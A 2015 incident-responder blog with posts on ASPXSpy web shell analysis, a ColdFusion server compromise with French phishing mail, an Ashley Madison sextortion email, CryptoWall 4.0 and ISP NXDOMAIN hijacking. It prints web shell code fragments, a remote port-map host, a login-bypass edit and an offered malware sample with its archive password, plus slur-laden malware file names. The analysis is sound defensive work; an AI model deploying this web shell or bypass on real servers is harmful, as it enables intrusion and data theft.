Thursday, December 10, 2015

Post #17 (Or... "Organic Thoughts: Now GMO Free!")

Time to break away from the technical posts for a brief moment. Well, kinda.

I have always found organic thought processes to be enjoyable and enlightening, especially when they lead to a "discovery". I'll explain, then give a few examples.

I am not a cryptographer. I have no training in cryptography whatsoever. Everything I know I have learned from articles, occasional technical papers, and real world encounters. Still, I often find myself thinking about crypto, whether or not it is a direct or indirect thought. In at least two of these instances, I have reached a realization that suddenly opens up my mental horizons, and I just "get" something. From there, it is easy to find a Wikipedia article or whitepaper describing what I just thought, but the exercise of leading my mind up to the concept with nothing more than breadcrumbs has always delighted me.

And now, those examples.

Realization #1: Wow! Good Crypto Really IS Hard!

Close to a year ago, I found myself in position where I had reason to believe someone may forge my signature on important documents. Without going into details, doing business with this individual was a necessity, so walking away wasn't an option. Still, I wanted to protect myself. I had an idea.

Idea: Sign all documents with some form of serialized string of text.

So, here we go. I am going to start signing all important documents with some form of serial number. My first thought was to combine a series of known numbers, and use that as a serial. For example, I may use my birthday (e.g., 11/24/74) and the current date (e.g., 12/03/15), plus the iteration of document signed that day (e.g., the first document is 1, the second is 2, etc.) So, altogether, my serial would read 1124741203151.

Problem: Way too predictable.

That system would break easily. Anybody could easily see any of my past signatures and figure out the system I was using.

Idea: Don't place the items in such a direct sequence.

So, instead of 1124741203151, I may have 1511741120324.

Problem: Still predictable.

If anybody had access to a set of my previous signatures, they would be able to figure out what changed between each signature and suss out the pattern.

Idea: Randomize the numbers.

There would be no sequence at all at this point. I would simply rearrange the 13 numbers in a random order every time.

Problem: Cumbersome, prone to collisions, and susceptible to forgery.

I would hate to have to sit there and go through the thought process of building a bank of the available serial digits, then picking them 1 by 1 until none remained. Also, depending upon the date and the iteration of signed documents, collisions could occur. Finally, with this level of randomness, someone could pick any random 13-digit number and forge my signature.

Idea: Cipher!

Instead of being random, I could develop a cipher. So, if we go back to the very first number, 1124741203151, I could work off the cipher of "Letter of alphabet corresponding to each number, shifted to the right by the numerical position of said number. For 0's, substitute an unshifted A." So, the first digit, 1, would be B; 1 corresponds to A, and 1 is the first number in our serial, so we move 1 letter to the right, which gives us B. The result of this example would be BCEHLJHJJMLQN.

Problem: Even more cumbersome. That example took me 5 minutes to complete.

Pretty self explanatory. I don't want have to cipher a 13-digit number every time I need to sign something.

Idea: To solve multiple problems, create a tool.

I could speed this along with some basic supplies from an office supply store by creating a small device with some wheels, charts, arrows and such that would allow me to input my plaintext, turn some things here and there, and output my ciphertext.

Problem: Now I have to carry said tool everywhere. People could watch me operating it and see that I am just ciphering my birthdate, the date, and one extra number, then reverse the cipher. Also, I'd want to store everything I'd ever ciphered for confidence's sake (if someone asks me "Is this your signature?", I'd want to be able to answer them with confidence. If the document signed isn't timestamped, I would not necessarily be able to do so.)

It would be burdensome and a chore to carry this cipher tool, use it without revealing its mechanics in public, and store a record of my ciphering operations.

Idea: Smartphone app.

This is where it all culminated. I already carry my smartphone with me. I could fairly easily create an app that generates a SHA256 sum or something comparably complex and unique, asks me for some details about the transaction, then stores the SHA256 sum and the details in a database for both later retrieval and prevention of collisions.

Problem: Kind of defeats the purpose of homebrew crypto.

Realization: And, as such, my thought experiment has ended. I have gained a healthier respect for all the work that goes into cryptography design and implementation.

Oh, and I never implemented this system for signatures. It's got to be a violation of Occam's Razor in dozens of ways, and I hate doing that unless unavoidable.

Realization #2: So THAT'S Why We Salt Passwords!

Referring back to my previous post about ASPXSpy, the sample I encountered had an MD5 sum in it that I later Googled to determine was simply "admin". That knowledge was thanks to someone's submission of that MD5 and its companion plaintext to the public Internet. I know that there are dozens of these projects, and even projects like Phuctor (which I believe is currently down due to a change of hosting provider on the creators' end), which aims to suss out RSA collisions by collecting submissions and comparing them. However, what I wanted to know was this; how could I, programmatically, iterate through as many plaintext strings as possible, hash them with MD5, store the pairing, upload it somewhere, and have others repeat the process while the database checks for duplicate pairings and rejects them. Essentially, how could I develop the project that would destroy MD5 forever?

Problem: Yeah, that has already been done.

So obviously I am not a genius. Nor am I the only person on the Internet thinking that same thought. With all of the brilliant folks out there aiming their mental artillery at this problem, it didn't stand a chance. So, why does MD5 still persist?

Idea: ...wait. Salt is as thing.

Yeah, so, basically, with the use of salt, even if I am able to reduce your hashed plaintext with a dictionary attack, I still can't get from the salted plaintext to what the actual password was before being salted. Unless, y'know, the salting was minimal and the password was awful to begin with (like akdjSimc381&.-&jdmekapcme versus m4o%n7k*e(y!; I bet you can spot the password in one of them, salt or no salt.)

Realization: And that was my final thought; without proper salting, hashing passwords alone is simply not enough. Computing power and the people knowledgeable enough and willing to wield it are far too abundant, and dictionary attacks are just too cheap and easy to get lazy with your password storage.

Anyway, obviously these thoughts were nothing earth shattering, but I do enjoy when I am able to think through the various stepping stones to these conclusions; it reassures me that my mind is tuned to the right frequency for figuring these things out.

Monday, November 23, 2015

INFO: Google Drive Issues Resolved

Everybody,

I have found a workaround for the Google Drive issues reported earlier. To absolutely ensure that artifacts I upload to Google Drive are not detected and flagged, I have encrypted all artifact .ZIP files with AxCrypt.

What this means for you, dear reader, is that you will need to download AxDecrypt here and enter the password prescomm to decrypt the files. This may or may not add hindrance for *Nix users, and I apologize for that, but it is the quickest and best workaround I have for the issue at the moment.

Again, apologies if this caused any inconvenience for anybody.

Cheers!

INFO: Google Drive "Violation" Errors

Everybody,

Just wanted to let everyone know that I have become aware of an error that almost all of my artifact .ZIP files are producing. Google Drive appears to have picked up on the malware samples, even in encrypted archives. It is also doing this on non-malware uploads too, though, so not sure what the issue is at this point.

I am working on a fix for this, so be patient with me. In the meantime, if you want/need a file I have uploaded, send me an e-mail and I will get it over to you.

Apologies for the inconvenience. Will update everyone when this is fixed.

Sunday, November 22, 2015

Post #16 (Or... "ASPXSpy With My Little Eye")

Referring back to post #15, let's take a gander at those two .ASPX files that were spotted on one of our compromised servers.

As stated in the previous post, the only difference between "dusuki.aspx" and "website.aspx" was a few lines of comments, so we can just arbitrarily pick a sample file to work with.

Cursory Internet research reveals that ASPXSpy is a web server back door that offers a ton of functionality to the attacker deploying it. This can be seen by examining some interesting strings in the file, as well as the long list of imports that the file calls.

First, the imports:

<%@ import Namespace="System.IO"%>

<%@ import Namespace="System.Diagnostics"%>

<%@ import Namespace="System.Data"%>

<%@ import Namespace="System.Management"%>

<%@ import Namespace="System.Data.OleDb"%>

<%@ import Namespace="Microsoft.Win32"%>

<%@ import Namespace="System.Net.Sockets" %>

<%@ import Namespace="System.Net" %>

<%@ import Namespace="System.Runtime.InteropServices"%>

<%@ import Namespace="System.DirectoryServices"%>

<%@ import Namespace="System.ServiceProcess"%>

<%@ import Namespace="System.Text.RegularExpressions"%>

<%@ Import Namespace="System.Threading"%>

<%@ Import Namespace="System.Data.SqlClient"%>

<%@ import Namespace="Microsoft.VisualBasic"%>

Then, the strings:

000000000D37 000000000D37 0 Bin_Button_CreateFile.Attributes["onClick"]="var filename=prompt('Please input the file name:','');if(filename){Bin_PostBack('Bin_Createfile',filename);}";

000000000DD4 000000000DD4 0 Bin_Button_CreateDir.Attributes["onClick"]="var filename=prompt('Please input the directory name:','');if(filename){Bin_PostBack('Bin_Createdir',filename);}";

000000000E74 000000000E74 0 Bin_Button_KillMe.Attributes["onClick"]="if(confirm('Are you sure delete ASPXSPY?')){Bin_PostBack('hae','');};";

000000001BA9 000000001BA9 0 ZGKh.Text="<a href=\"javascript:if(confirm('Are you sure will delete it ?\\n\\nIf non-empty directory,will be delete all the files.')){Bin_PostBack('kRXgt','"+MVVJ(AXSbb.Value+Bin_folder.Name)+"')};\">Del</a> | <a href='#' onclick=\"var filename=prompt('Please input the new folder name:','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_folder.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('dAJTD"+MVVJ(AXSbb.Value+Bin_folder.Name)+"',filename);} \">Rename</a>";

0000000022B5 0000000022B5 0 GLpi.Text="<a href=\"#\" onclick=\"Bin_PostBack('ksGR','"+MVVJ(AXSbb.Value+Bin_Files.Name)+"')\">Down</a> | <a href='#' onclick=\"var filename=prompt('Please input the new path(full path):','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Bin_CFile"+MVVJ(AXSbb.Value+Bin_Files.Name)+"',filename);} \">Copy</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_Editfile','"+Bin_Files.Name+"')\">Edit</a> | <a href='#' onclick=\"var filename=prompt('Please input the new file name(full path):','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Tlvz"+MVVJ(AXSbb.Value+Bin_Files.Name)+"',filename);} \">Rename</a> | <a href=\"#\" onclick=\"Bin_PostBack('cYAl','"+Bin_Files.Name+"')\">Time</a> ";

00000000601D 00000000601D 0 Bin_H2_Title.InnerText="System Information >>";

00000000604E 00000000604E 0 Bin_H2_Mac.InnerText="MAC Information >>";

00000000607A 00000000607A 0 Bin_H2_Driver.InnerText="Driver Information >>";

000000006129 000000006129 0 yEwc.Append("<li><u>Server Domain : </u>"+Request.ServerVariables["SERVER_NAME"]+"</li>");

000000006185 000000006185 0 yEwc.Append("<li><u>Server Ip : </u>"+Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"</li>");

000000006207 000000006207 0 yEwc.Append("<li><u>Terminal Port : </u>"+IKjwH+"</li>");

000000006242 000000006242 0 yEwc.Append("<li><u>Server OS : </u>"+Environment.OSVersion+"</li>");

000000006289 000000006289 0 yEwc.Append("<<u>Server Software : </u>"+Request.ServerVariables["SERVER_SOFTWARE"]+"</li>");

0000000062EB 0000000062EB 0 yEwc.Append("<li><u>Server UserName : </u>"+Environment.UserName+"</li>");

000000006337 000000006337 0 yEwc.Append("<li><u>Server Time : </u>"+System.DateTime.Now.ToString()+"</li>");

000000006389 000000006389 0 yEwc.Append("<li><u>Server TimeZone : </u>"+cCf("Win32_TimeZone").Rows[0]["Caption"]+"</li>");

00000000640C 00000000640C 0 yEwc.Append("<li><u>Server BIOS : </u>"+BIOS.Rows[0]["Manufacturer"]+" : "+BIOS.Rows[0]["Name"]+"</li>");

000000006477 000000006477 0 yEwc.Append("<li><u>CPU Count : </u>"+cpu.ToString()+"</li>");

0000000064B7 0000000064B7 0 yEwc.Append("<li><u>CPU Version : </u>"+NPPZ+"</li>");

000000006551 000000006551 0 oZnZV+=Int64.Parse(upM.Rows[0]["Capacity"].ToString());

00000000658D 00000000658D 0 yEwc.Append("<li><u>Server upM : </u>"+mTG(oZnZV)+"</li>");

00000000662B 00000000662B 0 hwJeS.Append("<li><u>Server MAC"+i+" : </u>"+dOza.Rows[i]["Caption"]+"</li>");

0000000066AC 0000000066AC 0 hwJeS.Append("<li style=\"list-style:none;\"><u>Address : </u>"+dOza.Rows[i]["MACAddress"]+"</li>");

000000006771 000000006771 0 jXkaE.Append("<li><u class='u1'>Server Driver"+i+" : </u><u class='u2'>"+Driver.Rows[i]["Caption"]+"</u> ");

000000006811 000000006811 0 jXkaE.Append("Path : "+Driver.Rows[i]["PathName"]);

000000006852 000000006852 0 jXkaE.Append("No path information");

00000000687B 00000000687B 0 jXkaE.Append("</li>");

00000001102A 00000001102A 0 <%--PortMap--%>

0000000110E5 0000000110E5 0 <td style="width:20%" align="left">Local Ip : <input class="input" runat="server" id="eEpm" type="text" size="20" value="127.0.0.1"/></td>

000000011171 000000011171 0 <td style="width:20%" align="left">Local Port : <input class="input" runat="server" id="iXdh" type="text" size="20" value="3389"/></td>

0000000111FA 0000000111FA 0 <td style="width:20%" align="left">Remote Ip : <input class="input" runat="server" id="llH" type="text" size="20" value="www.rootkit.net.cn"/></td>

00000001128F 00000001128F 0 <td style="width:20%" align="left">Remote Port : <input class="input" runat="server" id="ZHS" type="text" size="20" value="80"/></td></tr>

Wow. File system manipulation, service/process interaction, a self-kill mechanism, and the ability to launch port scans. Oh, and there is more. I just got tired of pulling strings from the file at that point.

Well, we now have an idea what ASPXSpy does... so why don't we have some fun with dynamic analysis?

First, we will need some sort of a webserver that can power ASP applications. I located a simple, portable solution called CassiniDev. I fired up CassiniDev, pointed it to the directory containing "dusuki.aspx", set the port as 80, and let CassiniDev set a local HOSTS file entry called "aspxspy". Here is our landing page:

Oh no! We need a password to access the application! Let's look at our code again:

public string Password="21232f297a57a5a743894a0e4a801fc3";//admin

Well, sweet, they left the password for us. Except, not really. I tried entering that string, and I was denied access. If we search through the code for other instances of "password", we find the following snippet:

string Jfm=FormsAuthentication.HashPasswordForStoringInConfigFile(HRJ.Text,"MD5").ToLower();

if(Jfm==Password)

Basically, whatever text we enter into the password form is hased with MD5, then stored as the string variable "Jfm". If "Jfm" is equal to "21232f297a57a5a743894a0e4a801fc3", it means we entered the correct password, and thus are granted access to the application.

At this point I could take the time to try to crack the password (which would have been quick with a dictionary attack, seeing as how Google shows us that the password is just "admin" [http://md5cracker.org/decrypted-md5-hash/21232f297a57a5a743894a0e4a801fc3]), but why would I waste my time during dynamic analysis when I could just change the password input code to this instead:

string Jfm="21232f297a57a5a743894a0e4a801fc3";

Now, we just need to enter "21232f297a57a5a743894a0e4a801fc3" into the password form, and we are granted access!

Okay, so let's play around a bit:

So, as you can you see, there is a lot of power behind this simple application. It is definitely not something you want sitting on your server, that much is certain.

Not much else to say about this one. See below for samples. Expect the final part of this post series shortly after the next week's holiday goings-ons.

p16_artifacts.zip

Friday, November 20, 2015

Post #15 (Or... "You're As ColdFusion As Ice!)

WARNING! This blog post contains file names and strings that are offensive and hate-filled. The names of these files and strings were chosen by the attackers, and I in no way find humor in or appreciate them.

Had to wait a little while to finish gathering some information on this, because it was a large endeavor and may end up splitting into 2 or 3 posts.

This particular incident started with our client's hosted mail relay threatening to shut down their access to the relay due to a high volume of spam that was coming from the client's network. The client had a fairly extensive network, so we had to get our hands dirty digging into their environment to track down where the spam was coming from, but we eventually tracked it down to 2 possible servers. I'll offer to you my reasoning for suspecting each server first, and then I will tell you what the actual outcome was.

On the first server we examined, we started in the most obvious place possible; the anti-virus logs. We noted immediately that 2 files had been uploaded to this server at some point in the past, and now they had been sitting in the quarantine for months. Those files were 2 .ASPX files named "dusuki.aspx" and "website.aspx", and they were uploaded to the "C:\inetpub\wwwroot" directory. These 2 files had exactly the same contents, with the exception of "dusuki.aspx" having a small bit of comment added between lines 23-29. Here are the comments I just mentioned, plus a few lines of code just beneath:

/*

Thanks Snailsor,FuYu,BloodSword,Cnqing,

Code by Bin

Make in China

Blog: http://www.rootkit.net.cn

E-mail : master@rootkit.net.cn

*/

public string Password="21232f297a57a5a743894a0e4a801fc3";//admin

public string vbhLn="ASPXSpy";

ASPXSpy (https://github.com/tennc/webshell/blob/master/net-friend/aspx/aspxspy.aspx and https://github.com/tennc/webshell/blob/master/net-friend/aspx/aspxspy.aspx) is a web server backdoor with multiple capabilities such as file upload/download, service/process manipulation, etc. It is unclear exactly how long the ASPXSpy files had been on this server or if it had ever been used, but timestamps on the files indicate that it could have been an unpleasant span of time. This, however, was not the source of our spam problem. Read on for further details!

So, with no evidence that the origin of the spam was the first server, we moved on to our second suspected server. Once again, we started with the anti-virus logs. What we found was both surprising and disturbing. The malware, despite its age, wasn't all detected by anti-virus, as was later discovered by a manual perusal of the file structure. Below is a list of all the files that we turned up on this server:

2T28M.jar

ajewpot.exe

alternate.exe

botsed.exe

build5.exe

data.exe

fud.exe

hopefullythisworks.exe

hosman.exe

jews.exe

jewsaremonsters.exe

jews_did_boston.exe

jusched.exe

lol.vbs

niggersone.exe

py.exe

t.jar

undetected.exe

update.jar

Updater.exe

So, you can see we have a mixture of .EXE files, .JAR files, and a single .VBS file. I am not at all going to go into the details behind these files; I will reserve that for another upcoming post. I will state, however, that these files were not responsible for the spam, and that some of them had even been noted in a previous cleanup attempt by another firm. However, they relied solely on an anti-virus engine to detect the files, which obviously didn't work for all of the files. Take this moment to examine yet another instance of the fact that any signature-based system can completely and utterly fail you, especially if it is your only means of identifying badness.

During my walk of the file system on this server, I encountered 2 directories containing files that looked to be dropped/queued e-mail messages. The directories in question were "C:\ColdFusion7\Mail\Undelivr" and "C:\inetpub\mailroot\Drop", both mail directories for ColdFusion and IIS, respectively. In the ColdFusion directory, we noted files with names such as "Mail558391.cfmail", and in the IIS directory we saw files with names such as "fd2eb58401d0ffec00000003.eml". Let's look at these e-mails, in turn.

First, the ColdFusion mail item:

type: text/html; charset=UTF-8

server: localhost:25

from: iTunesConnect

to: [redacted]@[redacted].fr

subject: [Verification] N°1391717292840

X-Mailer: ColdFusion 8 Application Server

 

body: Chèr(e) client(e),

 

body: Nous vous informons que votre ID arrive a expiration dans moins de 48 heures, 

body: Il est impératif d'effectuer une vérification de vos informations a présent ,sans quoi votre ID sera détruit.

body: Cliquez simplement sur le lien ci-dessous et ouvrez une session a l'aide de votre Apple ID et de votre mot de passe .

 

body: <a href="http://tienda[.]ganasdemalasana[.]com/errors/acceuil[.]html">Vérifiez maintenant</a>

 

body: Pour plus d'informations, consultez la rubrique <a href="">Questions et réponses</a> .

 

body: Merci,

body: L'assistance a la clientéle

And then the IIS SMTP mail item:

x-sender: contact@webmail.outlook.fr

x-receiver: [redacted]

Received: from [redacted] ([127.0.0.1]) by [redacted] with Microsoft SMTPSVC(7.5.7601.17514);

Tue, 6 Oct 2015 00:10:51 -0400

Date: Tue, 6 Oct 2015 00:10:51 -0400 (EDT)

From: LaBanquePostale

To: dé, [redacted]@hotmail.fr

Message-ID: <17499825.167911444104651874.JavaMail.[redacted]$@localhost>

Subject: =?UTF-8?Q?[_NOUVEAU_MAIL_]=E2=80=8F_?=

MIME-Version: 1.0

Content-Type: text/html; charset=UTF-8

Content-Transfer-Encoding: 7bit

X-Mailer: ColdFusion 8 Application Server

Return-Path: contact@webmail.outlook.fr

X-OriginalArrivalTime: 06 Oct 2015 04:10:51.0875 (UTC) FILETIME=[FD2DDB30:01D0FFEC]


<table width="680" align="center" cellspacing="0" cellpadding="0" border="0">

<tbody>

<tr>

<td> </td>

<td style="background:rgb(255,255,255);">

<div style="background:rgb(255,255,255);padding:20px 20px 10px;border:1px solid rgb(255,255,255);color:rgb(0,0,0);font-family:Arial,Helvetica,sans-serif;font-size:12px;">Cher(e)

<strong>Client(e), </strong>


Lors de votre dernier achat , vous avez été averti par un message vous informant de l'obligation d'adhérer à la nouvelle réglementation concernant la fiabilité pour les achats par C.B. sur internet et de la mise en place d'un arrêt pour vos futurs achats.
Or, nous n'avons pas, ce jour, d'adhésion de votre part et nous sommes au regret de vous informer que vous pouvez plus utiliser votre carte sur internet.


<ul><strong>Adhésion : </strong><a href="https://livrefixo[.]com/errors/acceuil[.]html" target="_blank">Faites votre demande d'adhésion en ligne en cliquant ici</a></ul>


Merci de la confiance que vous nous témoignez.

Cordialement,</div>

</td>

<td> </td>

</tr>

</tbody>

</table>

So, in both instances, we have French recipients being directed to visit a URL that ends with "acceuil.html" (hint: "acceuil" translates to "home".) I tried as hard as I could to find either a live instance of this campaign or an archived copy of it, but to no avail. Given the pretext of the e-mails, though, I would guess that credential phishing is likely what was going on here.

Things were fairly simple from here. Turns out, the client was running an extremely old version of ColdFusion and had RDP open to the public Internet for anyone willing to force their way into the box. We ended up shuttering the whole blasted thing until it could be rebuilt in a secure manner.

This is just a friendly reminder to always patch. Patch, patch, patch. Do it.

I will do a deeper dive into the malicious files I found in later blog posts, so keep your eyes peeled!

Thursday, November 12, 2015

Post #14 (Or... "I've been EXPOSED!")

Well, looks like the game is up. I've been exposed. Shame on me. Or, at least that is what a would-be blackmailer who sent me an e-mail last week would like me to believe.

Let's step back a bit to the Adult FriendFinder breach about 6 months ago. I had only in the last month began writing this blog, and my honeypot server was in its infant stages. I had signed up for a few dodgy sites using a fake e-mail address, but after the revelation of this breach, I went on a furious rampage of signing up for all the adult, software portal, and gambling websites that I could. One of those sites just so happened to be Ashley Madison which, as we all know, was breached just 2 months later. Within a day after the breach, I had a copy of the data dump and confirmed that my fake e-mail address was present. I then set about filing all of the Ashley Madison e-mail I received into a single folder in that same e-mail address' mailbox. Surprisingly, though, nothing really came of this breach in relation to me... at least until I checked my mailbox last night and found this gem that had been sent to me on 11/05/2015:

From: ritareesokf95@yahoo.com

Subject: You are EXPOSED

Rita Rees shared this with you

Hey!

I would like to tell you that Ashley Madison was recently hacked, and now I have all the information about your online affairs and even the cheatings you did ;) I have located all your social networking and dating website profiles, and using this I am going to send message to all of your friends and family members about this.

Well, for sure, you would feel ashamed if I tell your family members and friends about this, and it would be even more worse, when you meet them face to face. Wondering how to prevent me from doing this? Its simple, you need to send just 2 Bitcoin (i.e Two BTC) to the following Bitcoin address:

1BXgGTQdNfPp9LtUr895VFqu8WVTtkmNvh

You may be wondering why should you and what will prevent other people from doing the same, in short you can now delete your social and dating accounts. So go ahead and give it a try. Do you think, you can get away so easily? I have already saved a copy of your profiles, pics, chat logs, and even the contact details of your relatives and friends.

To send a Bitcoin, you can use sites like CoinBase. If I do not receive the Bitcoin in the next 48 hours, I am going to contact all of your friends and relatives and post your profiles, pics, etc all ONLINE. Oh! I didnt tell you, that I know where you live and hangout, did I?

Just think if you are in committed relationship how this will affect your social standing amongst your friends, family members and others. Your countdown is started.

Good Luck!

So, Rita Rees has all the information about my online affairs and cheating. She has located my social network and dating website profiles. She has also copied all of my info, including contact information for my friends and family. Oh, and she knows where I live and hang out. She demands that I give her 2 BTC ($327.90 at the time of writing this sentence, according to Preev) within 2 days of receiving this e-mail, or she will leak this information. I am writing this e-mail 5 days past her deadline, so at this point I guess I am out of luck. Or, y'know, I would be, if in fact I had actually done anything other than sign up for the website in the first place. But I am waxing verbose, so let's get technical, shall we?

First, the message headers. They are as such:

x-store-info:fHNTDlzCF8Nxw6HwcfGQy+S7Ax/lqLSmNphQ3OF+T9E=

Authentication-Results: hotmail.com; spf=pass (sender IP is 66.196.81.211) smtp.mailfrom=do-not-reply@yahoo.com; dkim=pass header.d=yahoo.com; x-hmca=pass header.id=ritareesokf95@yahoo.com

X-SID-PRA: ritareesokf95@yahoo.com

X-AUTH-Result: PASS

X-SID-Result: PASS

X-Message-Status: n:n

X-Message-Delivery: Vj0xLjE7dXM9MDtsPTE7YT0wO0Q9MjtHRD0yO1NDTD00

X-Message-Info: o9rlR4nWDTfJuzYaLPaTp+Fe8KqAd62ORYN1VZClKJ66XksaSChU1LRf6EKHFT0Nv0OYjop2+OLlmWBoQdHmMCfRZEL/VpmEi/HDIVBikjz5e7J//FTzQJwlelaK4CbI6guk7VngWQVBrXhPNN2ngUad8FxdT6HCeFxTPzroR2hgTPma6zWfAJl2sCCXEYNAiLbzH/t6yHsuJluxmFN0V1CZurvy5WQdrXNRIaOPM9oQGy/WEgNA0A==

Received: from BAY004-MC6F34.hotmail.com ([10.148.226.105]) by SNT004-IMC2S16.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.23143);

Thu, 5 Nov 2015 06:02:04 -0800

Received: from n12-vm4.bullet.mail.bf1.yahoo.com ([66.196.81.211]) by BAY004-MC6F34.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.23143);

Thu, 5 Nov 2015 06:01:13 -0800

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s2048; t=1446732069; bh=nNO+9vKC6WpDpXnCnR5GUhXrgbRxYOuTs4LuKaEimf4=; h=Date:To:From:Reply-to:Subject:From:Subject;b=ByH98Z2F/nyf8b98ig+XJe4KHAOgmTGxMom/k1otyfFogfXA9gpdP3pxB/w64ayu1YquSIcplg9GLe2urKITNaLJFG9DCQkqHN5hIp4eMEpHOHkujvXPyuznKNbM2qzhDbqMbevKgvFtjzvyjdWlmRB+6hOgCEtO9bAQ/XDKYrM/x1i3y2yp3lOvs4rGcfftSCvEarV8y+8tFPnncGVk4eWJV4OqCUoz9XEbgTMZfcZDtkxKP1ioDryvBNPHYaSUfYgTHOhVp6mWcvlvh9XmReY+73S9fN7XW/wHz7j5CEBRWDCBxF41Ok2ixF7FWyJf95T+DaaFR6n6mooqA/4kcg==

Received: from [72.30.235.67] by n12.bullet.mail.bf1.yahoo.com with NNFMP; 05 Nov 2015 14:01:09 -0000

Received: from [10.193.189.227] by t4.bullet.mail.bf1.yahoo.com with NNFMP; 05 Nov 2015 14:01:09 -0000

Date: 05 Nov 2015 14:01:09 +0000

Received: from [127.0.0.1] by ec03.unp.bf1.yahoo.com with NNFMP; 05 Nov 2015 14:01:09 -0000

To: ibrahim.jhan@outlook.com

From: "Rita Rees via Yahoo"

Reply-to: ritareesokf95@yahoo.com

Errors-To: refertofriend-error@reply.yahoo.com

Return-path: refertofriend-error@reply.yahoo.com

X-Yahoo-ReturnBounces: 1

MIME-Version: 1.0

Content-Type: text/html; charset="utf-8"

X-Yahoo-Newman-Property: unp_mtf

X-Yahoo-Newman-Id: unp_mtf-d5222634-22d0-45f4-8f5e-15bb3f9a45f7

Subject: You are EXPOSED

Message-ID:

X-OriginalArrivalTime: 05 Nov 2015 14:01:13.0930 (UTC) FILETIME=[6EC302A0:01D117D2]

Nothing exciting here. Someone shared something via Yahoo!'s NNFMP and it eventually landed in my Outlook mailbox. Not really anything of interest to be seen there.

The sender's e-mail address, ritareesokf95@yahoo.com, did not return any Google results, and Maltego (which I have been using a lot lately) also came up with nothing of interest.

The only other piece of data that could be of interest would be the Bitcoin address, 1BXgGTQdNfPp9LtUr895VFqu8WVTtkmNvh. Blockchain.info lists 10 transactions to this wallet, and the total value of the wallet at the time of this sentence being written is 13.99985327 BTC, or approximately $4,651 according to Preev's current valuing of BTC. Googling that address also led me to a smattering of other posts online that indicate this e-mail has been sent to other people, but from a different sender. People also report in mixed numbers that they didn't even have an Ashley Madison account in the first place. However, we know now that Ashley Madison didn't verify e-mail addresses of new users, so for all we know people signed up on behalf of these unwitting victims.

Well, there isn't any more to offer on this one. Just thought I would get this out there in case people need something to turn up in Google results, and I also got a kick out of it. Took them long enough, though.

Wednesday, November 4, 2015

Post #13 (Or... "All In All...")

Well, everybody, it is finally here!

No, not the latest iPhone.
No, not the latest Galaxy phone.
No, not the season premiere of your favorite television drama.

I am talking about CryptoWall 4.0.

Two days ago, one of our clients was hit with cryptoransomware that seemed similar to CryptoWall, and it claimed to be CryptoWall, but some of the features were not hallmarks of CryptoWall 3.0. However, after working closely with the fantastic folks over at BleepingComputer, it was finally confirmed that this is, in fact, yet another version of one of the most powerful and virulent cryptoransomware families to date.

I am not going to go into analysis here, the BleepingComputer folks handled that splendidly in the above-linked forum thread, but I will mention that I created an interactive batch script that will, in lieu of the helpful file list created in the registry by CryptoWall 3.0 and older, iterate over user-selected drives and scan them for ransom note files, then save the results to the current user's Desktop.

In addition, please review the following characteristics that set this version apart from its predecessors:

• There is no list of files located in the registry any more.
• Now, instead of just encrypting the files, the malware actually completely renames them, extension and all (e.g., “AccountsPayable.XLSX” becomes “h8agj3ajy9s.jms7h”).
• The ransom note files are now named “HELP_YOUR_FILES” instead of “HELP_DECRYPT”.

Here is your download; e-mail me with any suggestions, concerns, or questions. Bear in mind that anti-x vendors may soon start detecting and cleaning the ransom note files, which will render this potentially useless, but I wanted to get this tool out there regardless.

EDIT 11/05/2015-18:37 Eastern: I realized I had linked to the wrong file previously. The download for the batch script utility has been fixed. I have also tested it in an infected sandbox, and the outputted file was clean and extremely useful.

EDIT 11/10/2015-08:51 Eastern: I have had multiple people contact me for a sample of this malware, so I have now added it to the download section as well.

CryptoWall4RansomNoteFinder.zip


CryptoWall4AttachmentPayload.zip

Sunday, October 25, 2015

Post #12 (Or... "NXDOMAIN, NXFORSHAME!")

I am not saying this is a rare occurrence. In fact, if I were to bet, I would bet that a large portion of major ISPs engage in this particular practice in some form or another. This was, however, the first time I had seen it in action so far.

Let's start with a little definition. NXDOMAIN, as defined by RFC2308, is another name for the "Name Error" code mentioned in RFC1035. This code is defined as signifying "...that the domain name referenced in the query does not exist." So, to put this into an example, if I try to browse to "faxebool.con", when an authoritative name server receives the quest, it will flag the query with the NXDOMAIN code to signify that the domain does not exist. This flag can be handled in a number of ways, but if you want to see how Verizon handles them versus, say, OpenDNS...

As you can see, Verizon is happy to return an IP address for a domain that OpenDNS is convinced doesn't exist.

And if we look at a packet capture for these requests?

Again, Verizon's response admitting that the domain doesn't exist, but happily returning an IP anyway.

So, which of these requests can we believe? Well, both Verion and OpenDNS respond with the 0x3 code (the "Name Error" code), but the difference is that Verizon still returns an IP, whereas OpenDNS does not. The natural thing to ask now is... what on earth lives at IP 92.242.140.21? The WHOIS tool over at DomainTools supplies the following information:

IP Location United Kingdom United Kingdom Belfast Barefruit Ltd.

ASN United Kingdom AS45028 BAREFRUIT-AS Barefruit Ltd Autonomous System (registered Apr 23, 2008)

Resolve Host unallocated.barefruit.co.uk

Whois Server whois.ripe.net

IP Address 92.242.140.21

Reverse IP 12 websites use this address.

...

netname: BAREFRUIT-ERRORHANDLING

...

I did some research, and here is how Barefruit describes their business model (pulled from the Barefruit opt-out page):

"Using Barefruit for DNS and HTTP error resolution improves the user experience for the vast majority of Internet users by suggesting relevant alternatives as opposed to serving unintelligible error messages."

If you want some more information on Barefruit and their practices, check out this Wikipedia page.

If you want to see an example of the page I got when I tried browsing to "faxenool.com" while having my primary DNS server set as 71.243.0.12, take a look here.

I do not want to get into the habit of discussing opinions on this blog if at all possible, but I would at least like to show you how I found out about this practice:

The anti-virus alert that was constantly appearing on a client's machine that led me to this issue.

I sussed this issue out once I knew that the internal Lync domain mentioned in the query did not, in fact, exist, and certainly if it did exist would not be located in the UK.

Again, I am not going to state whether or not this practice should be frowned upon, but I will state that it is certainly something that a lot of people are not aware even takes place.

